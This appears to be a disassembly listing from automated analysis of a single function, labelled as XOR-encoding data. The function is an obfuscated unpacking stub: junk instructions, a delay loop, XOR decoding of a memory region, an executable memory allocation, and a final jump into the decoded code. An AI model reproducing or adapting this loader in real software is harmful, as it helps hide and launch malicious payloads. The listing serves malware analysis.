Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfb940a51
add esi, 1
add esi, 0x7e7775a4
sub esi, edx
popal
sub edx, esi
not edx
mov edx, 0
mov eax, ecx
or ebx, ebx
mov ebx, 0x8a9f33c
mov edi, eax
inc esi
mov ebx, 0xf1b8c2eb
sub esi, ebx
mov ecx, edi
dec esi
sub ebx, 0x5f1299af
add ebx, esi
inc edx
or ebx, esi
sub ebx, 0x95ff811c
mov esi, 0x6fa2252e
cmp edx, 0x100b83f
jne 0xa789ca
and ebx, ebx
or esi, esi
mov ebx, 0x3b0f20dd
sub esi, edx
sub edx, 0xcba9d549
mov edx, 0xa78796
or edi, esi
mov edi, 0x89ce197b
mov ebx, 0xa7898a
sub edi, eax
mov edi, 0x1bb6a9f7
mov edi, 0x4f0937dd
mov ecx, dword [edx]
add eax, 0xa62e8287
add eax, 0xd513765e
and ecx, 0xff
dec edi
sub edi, 0xac791115
or edi, esi
xor dword [ebx], ecx
or edi, eax
add esi, eax
add ebx, 1
add edi, eax
and esi, esi
add edi, eax
inc edx
mov esi, eax
add edi, 0xfabafc41
cmp ebx, entry0
jl 0xa78a30
mov edi, eax
sub edi, eax
add edi, 0xdc5b131
or esi, edi
and edi, eax
or ebx, ecx
sub edi, ecx
add ecx, 0x50651b83
mov esi, 0xa7898e
mov edx, edi
mov edi, ecx
add edi, 0x2948a36e
mov esi, dword [esi]
or edx, edx
mov ecx, 0x5b5c6dc2
sub ecx, edi
mov esi, dword [esi]
not ebx
mov edx, 0xe0b4869c
sub esp, 4
mov dword [esp], esi
dec ecx
not edi
sub ecx, 0xade5b210
mov esi, 0xa7898a
add edi, 0xfde17666
mov ebx, 0xace480b5
add edi, 1
mov esi, dword [esi]
not edx
dec ebx
not edx
mov esi, dword [esi]
dec ecx
mov edx, ecx
sub edi, ebx
push 0xa78992
mov ebx, 0x50974868
or edi, ecx
add ebx, 0x7d77619e
call esi
add edi, 0x1f4b22e4
not edx
mov esi, dword [esp]
add esp, 4
or edi, ecx
sub ebx, 0x7c5bfa9e
or ebx, edx
push 0xa7899f
add edi, 1
mov ecx, 0x7dd45498
push eax
dec ebx
and edx, edi
call esi
or edi, ecx
dec ecx
inc ecx
push 0x40
or ecx, edi
not ebx
and ebx, ebx
push 0x3000
sub ecx, edi
sub edi, ecx
sub esp, 4
mov dword [esp], 0x20000bb4
sub edx, 0x10ddd00
add ecx, edx
mov edi, edx
sub esp, 4
mov dword [esp], 0
mov ebx, edi
mov edx, ecx
dec ecx
call eax
inc ebx
add edi, ecx
add eax, 0x20000afc
dec edi
sub ecx, 1
mov esi, 0x34a5e170
add ecx, ecx
add edi, 0x3820c622
add ebx, 0x3f8fda6
mov dword [eax], esi
sub edx, 0x6461c6ef
add ebx, edi
sub edi, ecx
mov esi, dword [eax]
add ebx, 0xd99f96bc
add ecx, 1
add edi, 0x25d5f6f3
cmp esi, 0x34a5e170
je 0xa78bb3
mov eax, 0
mov dword [eax], ebx
not ebx
and ebx, ecx
or ebx, edi
add ecx, 0x95072fb1
or edi, ecx
inc edx
sub esi, edx
mov esi, 0x10b0786f
mov edi, section..reltc
inc edx
inc edx
sub esi, edx
mov ebx, 0xa78795
mov edx, 0x9a928c11
add edx, 0x1fe77fa0
mov eax, 0
add esi, esi
sub edx, esi
add esi, 0x365cf6d8
mov ecx, 0xa78796
sub esi, edx
not esi
or edx, edx
lea ecx, [eax + ecx]
and edx, esi
mov edx, 0xbf4ecd45
or edx, esi
mov ecx, dword [ecx]
not edx
or esi, esi
add esi, 0xbbf3dd78
and ecx, 0xff
and esi, esi
dec edx
dec edx
inc eax
mov edx, 0xaf3c146f
not edx
cmp eax, 0x1f4
jne 0xa78c33
mov eax, 0
add edx, edx
add edx, 0xd0d84948
add edx, 0xd6bb2a79
sub edx, esi
add esi, esi
add esi, esi
xor dword [edi], ecx
sub edx, 1
add esi, edx
add edi, 2
and esi, esi
mov esi, 0xd1c37772
cmp edi, ebx
jl 0xa78bf1
mov esi, 0x3126dcdf
add edx, 1
mov esi, edx
mov edx, esi
mov edx, esi
dec esi
mov ecx, section..reltc
not edx
add edx, 0xafaaabfb
mov esi, section..reltc
not edi
inc edx
sub edi, edx
mov ebx, 0xa78795
mov edi, edx
inc edi
mov eax, 0
add edi, 1
inc edi
mov edi, edx
mov al, byte [esi]
dec edi
sub edx, 0xdd526748
add edx, 0x27163718
mov byte [ecx], al
add edi, edi
not edx
inc ecx
add edi, edx
dec edx
or edi, edx
add esi, 2
not edi
and edi, edi
dec edi
cmp esi, ebx
jle 0xa78ca5
dec edi
or edi, edx
mov edx, esi
sub edx, 0xad076baf
mov esi, 0xef8bdfa5
push 0x8dc6a0
mov esi, 0xa76082b9
mov esi, 0x1369e96c
inc edx
ret